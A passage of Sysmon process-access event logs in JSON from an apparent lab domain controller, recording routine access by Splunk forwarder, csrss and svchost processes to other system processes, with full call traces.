C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:36.349","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4138-5F2D-0000-001065040600}","TargetProcessId":"1952","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4229,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:36.349\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4138-5F2D-0000-001065040600}\r\nTargetProcessId: 1952\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:36.349","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4138-5F2D-0000-001065040600}","TargetProcessId":"1952","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4230,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:36.349\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:36.349","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4231,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:36.349\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:36.349","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4232,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:36.349\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:36.349","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4233,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:36.349\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:36.349","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4234,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:36.349\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:36.349","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4235,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:36.349\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:36.349","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4236,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:36.349\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 